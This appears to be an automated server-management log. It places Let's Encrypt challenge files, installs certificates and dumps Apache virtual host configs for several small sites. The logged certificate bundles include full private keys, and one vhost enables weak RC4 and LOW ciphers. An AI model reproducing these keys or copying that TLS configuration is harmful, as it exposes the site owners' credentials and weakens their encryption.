RaaFRnY0gDhT/R9KO5X4mavwRwGRnATslA4HkgTmhraIHB3sWZMup1aPAoGATBml
Fh4lZBdBACxuEGpXpuYo1KKyXDwUCLhKj19WTqT0vn9TTb1t3mpP8/R0INhxAwzn
ASxhmj8qSLgQMnSR6PmgGRLB9aT9xa9CyGoGLptB4YrYYPhLDZVLf2lN9qFm/6Al
yaG/9WCJyCWYsWpKdVxDZthMH1gGx4mtY5/it70CgYEAwqFv6T8bHK5M1/IhlPvI
4qI+8UJUKDah/MdKpxyKOprJFRO/Qkpt6u8yO3u5AWMZQ2c/Qj4bgp4JQPz5rrC+
WVRspsvXXP0a1GoQNCiam0l6pMb03P5Xk9UL3UBa/KtdUe5++JZ6382zDK343hMW
fwuQXiU2uO1rmyfKYa869Ng=
-----END PRIVATE KEY-----



-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----




----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/youngrepairs_www_com.conf	1430
<VirtualHost *:80>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.youngrepairs.com
    DocumentRoot	/var/www/youngrepairs_www/public
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/youngrepairs/www_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.youngrepairs.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/76526c88d7a3ad40c19457afe65bc2f6.crt
    DocumentRoot	/var/www/youngrepairs_www/public
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/youngrepairs/www_secure_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    
</VirtualHost>







(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/cityelectric_www_online.conf)= 98a5766b5fedd44b564deeae2b7f4597
MD5(/etc/ssl/certs/58e746b88fcdd674270ef29574194035.crt)= 022cdad52e685522d13d48e47c3c5686
MD5(/etc/apache2/sites-available/theyoungdesigners_stage.conf)= fc64afe4586a8bfa5c1631843e3180d4
MD5(/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt)= 4a2f70fd16f13a16b313f36cb8dd909e
MD5(/etc/apache2/sites-available/hopeinstoughton_cdn4_org.conf)= 40743bf141b7da55b55cc9e1aa210026
MD5(/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt)= 840ca550970a7f1fed2a288b075a53a4
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= ca34edd674c003e68e65b9ddf3a5583b
MD5(/etc/apache2/sites-available/pjy_alive_us.conf)= 11f7b6884662bd4fc09883fceeb3679c
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= b374b6084a7b2af52ef2acef57bade28
MD5(/etc/apache2/sites-available/youngrepairs_www_com.conf)= 80298f8632e08cc7f5f6022b9e80349b
MD5(/etc/ssl/certs/76526c88d7a3ad40c19457afe65bc2f6.crt)= fcb4bcada39e775593b45a85b81e5eb8
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/theyoungdesigners_stage.conf)= /etc/apache2/sites-available/theyoungdesigners_stage.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cdn4_org.conf
link(/etc/apache2/sites-enabled/pjy_alive_us.conf)= /etc/apache2/sites-available/pjy_alive_us.conf
link(/etc/apache2/sites-enabled/youngrepairs_www_com.conf)= /etc/apache2/sites-available/youngrepairs_www_com.conf




STDERR:
/tmp/pkp160927:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2026-07-14 06:00:03: Establishing a connection
2026-07-14 06:00:03: Establishing a connection
2026-07-14 06:00:03: 

PUT: /tmp/pkp898578

#!/bin/bash
if [ -d "/var/www/christadelphian_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-14 06:00:04: 

chmod 755 /tmp/pkp898578; /tmp/pkp898578; rm /tmp/pkp898578

2026-07-14 06:00:04: 


1


2026-07-14 06:00:05: Establishing a connection
2026-07-14 06:00:05: 

PUT: /tmp/pkp297820

#!/bin/bash
mkdir -p "/var/www/christadelphian_www/.well-known/acme-challenge/"
cd "/var/www/christadelphian_www/.well-known/acme-challenge/"
cat > vXsLUaySOFqVoqHJRAq0CAs_AUkXKFO3eXvWQgoKqDg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
vXsLUaySOFqVoqHJRAq0CAs_AUkXKFO3eXvWQgoKqDg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 vXsLUaySOFqVoqHJRAq0CAs_AUkXKFO3eXvWQgoKqDg


2026-07-14 06:00:05: 

chmod 755 /tmp/pkp297820; /tmp/pkp297820; rm /tmp/pkp297820

2026-07-14 06:00:05: 




2026-07-14 06:00:12: Establishing a connection
2026-07-14 06:00:12: 

PUT: /tmp/pkp154545

#!/bin/bash
mkdir -p "/var/www/christadelphian_www/.well-known/acme-challenge/"
cd "/var/www/christadelphian_www/.well-known/acme-challenge/"
rm vXsLUaySOFqVoqHJRAq0CAs_AUkXKFO3eXvWQgoKqDg


2026-07-14 06:00:12: 

chmod 755 /tmp/pkp154545; /tmp/pkp154545; rm /tmp/pkp154545

2026-07-14 06:00:12: 




2026-07-14 06:00:12: Establishing a connection
2026-07-14 06:00:12: 

PUT: /tmp/pkp779833

#!/bin/bash
temp_file=$(mktemp)
TARGET=ef56788a9be5d522516b6c274e285339.crt

cat > $temp_file <<'endmsg'
5e:b4:7a:d7:b8:9e:49:6e:0d:37:8d:a7:c1:2f:29:e1

-----BEGIN CERTIFICATE-----
MIIFAzCCA+ugAwIBAgISBSJ2BZWl2K7iIrEfmFOt0jeyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNzE0MDUwMTQxWhcNMjYxMDEyMDUwMTQwWjAgMR4wHAYDVQQD
ExVjaHJpc3RhZGVscGhpYW4udmlkZW8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDSAj0yefU7Wf2UBWSp7eH9xCwvA7dNUbwQK9BKG/lQx6D67DdNbY9g
CPvQAoMbgDOTpJHgD5HODcj5QBbNhoV2K4oycZdaMJ7kpB1jwMhy3P7RKmh5akBO
GT67OaAyi9yU6Jbzv4pkUrM1RzpLTfkJpJ+qxyIhGuVcpTPPRLZmQA9814gTSrd7
2vUGlKOuzPKdG3GrwQ3ls8YFXTemNIBOYGYAFuoAaX/W1CvEy0R7tE37YXb482hQ
C+kaZvqgHqA3JZQZ2vZ88npRg5QNVZh/bNQJ4yJ1svpNNa2NVi87GWtyG3w4fyIs
b1EAwYGg+EXyq70ZILERT3ZZjsOtRB6TAgMBAAGjggIiMIICHjAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUMu4FBavBADGQ1Z/vDJZm+qPk0EQwHwYDVR0jBBgwFoAUHy81vkYUgs1Asa55
LFV4+vfUaPswMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIx
LmkubGVuY3Iub3JnLzAgBgNVHREEGTAXghVjaHJpc3RhZGVscGhpYW4udmlkZW8w
EwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3ly
MS5jLmxlbmNyLm9yZy81MS5jcmwwggELBgorBgEEAdZ5AgQCBIH8BIH5APcAdgCU
TkOH+uzB74HzGSQmqBhlAcfTXzgCAT9yZ31VNy4Z2AAAAZ9fNiJxAAAEAwBHMEUC
IQD9Hze7tsOJWy/HbNasPWBr3LaqHq0f9Tiy7QQ6na0u1QIgV4mXO9s16Mo8oCHJ
Iadr7gdeaqQ1v7Prwp50c6yojJgAfQAai51rD/6/gbR5OcbSMQqG1tEC1PBG4hgs
neNfXiYl7wAAAZ9fNiTOAAgAAAUAKXzmJwQDAEYwRAIgORIivg2eG6CVg8ogTutQ
Kc1/d79lVrMEOzswcIfE+GsCIFVvUfenQ4iWWYc+qpcTmauZPn83NWxMre1WNOm1
Z9jKMA0GCSqGSIb3DQEBCwUAA4IBAQAuUuoC1pfK+PKTsrvWf5R/ogijl3HN1L8V
K8BtNPa5IufSFOSxgKq8C9YEeSXxgpEPYXwkcA8dJdW8pXQWmV6AaZjRmF60eior
yf8sJhjfb7M7+nW/X+dJmi/y/ueibUBORlcredbjWtSTfqn11dppWGy+39mNH8c0
t0HG81Jtc79xfrPg8d2JyTDkopuBOHk/nLHxTvIQcJ1ZCC99in0QLc4yIdt3i8E0
g6tdmOXyxhiNb5aFSSguRTWu7sNeQd70kjWAyibQXXUSOp9I4kVimjQBi/u33qq8
KdDTQ9DGPI8OmJ9AZVCaW1eX5bHbHWUMnkL/9XE16orolAzcPBMQ
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDSAj0yefU7Wf2U
BWSp7eH9xCwvA7dNUbwQK9BKG/lQx6D67DdNbY9gCPvQAoMbgDOTpJHgD5HODcj5
QBbNhoV2K4oycZdaMJ7kpB1jwMhy3P7RKmh5akBOGT67OaAyi9yU6Jbzv4pkUrM1
RzpLTfkJpJ+qxyIhGuVcpTPPRLZmQA9814gTSrd72vUGlKOuzPKdG3GrwQ3ls8YF
XTemNIBOYGYAFuoAaX/W1CvEy0R7tE37YXb482hQC+kaZvqgHqA3JZQZ2vZ88npR
g5QNVZh/bNQJ4yJ1svpNNa2NVi87GWtyG3w4fyIsb1EAwYGg+EXyq70ZILERT3ZZ
jsOtRB6TAgMBAAECggEAIf++zJc1/n/ZL8eXvnMGrUC/LnVZjaj3215cgEL7H/rR
sw3e/igImDGcItblRuSAdRyliTK8FjHhIYkgp/FpVfJCk1wUdsN8VePD5kxlp0Lj
9hT5iP6MnpgzsbfomYZPFcR5+8g8rXU+EhgP9fUPpmICf3Fxsw5Zp6APPTUQmojl
K08VLvXB5gIWQYvy76OqmjR3ASYUz0nUDXcdv/aABEWZz58TKSF5Zt7VE3AozvxN
DOaaXtMkEipAV3e86V54DNWVKNrnKuWAeOoy4BPw/LrtjckKfpdnIIMzONhMYgko
j+QW3ey5xS4fltTYY5df9Xe6jeQd8mIH25dhJkNmcQKBgQD6nCtskDCV1Rly1qvG
3Ddzjyc6qlxHHIIZHatI49LzvT4iITOd79kT/TiF9iR9ZvaMqnVI2VA/sy/4sII8
Euu27dz6ZzqxcUabSsF08TeZ8ZnQQmdrKO11y3cWI5gryKkYiz1HJHE0B5ED4noz
DLdXtWqJSpg4G2bYALjOy7XbVQKBgQDWhoX5GrNr07suOtvetuslQKVJWii/INxH
DYxPxtzkkWJlVMG9dlJNcLFpoAGKu6IadwFVg7uaXqYe/OFnzuQGsPJ2giB8fzqt
T/JuY2uc9qOewu7M+dJDmqMLIXc9cW+69ym103LwLE1qxdzGlQgMFvJZ14p0de7v
L3+bqeciRwKBgQDtlulEP18Qbbt2uDaajWS01d7nK2PYtxpQHWSp8fOoyJ0DVl7N
OPqgjMztk/H8QYU0ztXqfrwp6ANuzkhqE7YM820wqHVojG/YAgNujtGbzQV5/7p0
SZT2vDLmdlBqEg7eCgPKUq5QGWxONoSLqV6YdJHQHzw41SGnXufWhiKfEQKBgEJ6
e4ffa1xtx6Ki4MHao3Hu34mko93evARUwXdzY759AyXtpwAka4rN8lyOFgw86xYS
bNpoMTm8PPR7XwqBRY6BRRHOb2zFLJTKopDsxEtm7vti4weoHy2N/RqU61OiFIK2
1zkeZo7g27jLygfL5SuB7OZEcgZ3CW0bpgrCEvs/AoGAW3BJyBmHRG+bBVoHc16Q
c0fFY6XX3XH6Dc6PztGHiY+aZvLUjvKzjqaHlmiH+ZJUBAhnFc3I5pZULxBOsMoo
Ay+X57QaIhpwwAG+XqaheixY5dqQTMOudUFYf2awooQhCbNwMETzSNhkNDKzqA+Y
w7wchRZmS/kqeD2BwkLyVzU=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-07-14 06:00:12: 

chmod 755 /tmp/pkp779833; /tmp/pkp779833; rm /tmp/pkp779833

2026-07-14 06:00:12: 


dir=/etc/ssl/certs


2026-07-14 06:00:12: 

PUT: /tmp/pkp614061

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/christadelphian_www_video.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-07-14 06:00:12: 

chmod 755 /tmp/pkp614061; /tmp/pkp614061; rm /tmp/pkp614061

2026-07-14 06:00:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphian_www_video.conf 49

<VirtualHost *:80>
    ServerName	christadelphian.video
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphian_www
    <Directory /var/www/christadelphian_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphian/www_access.log combined
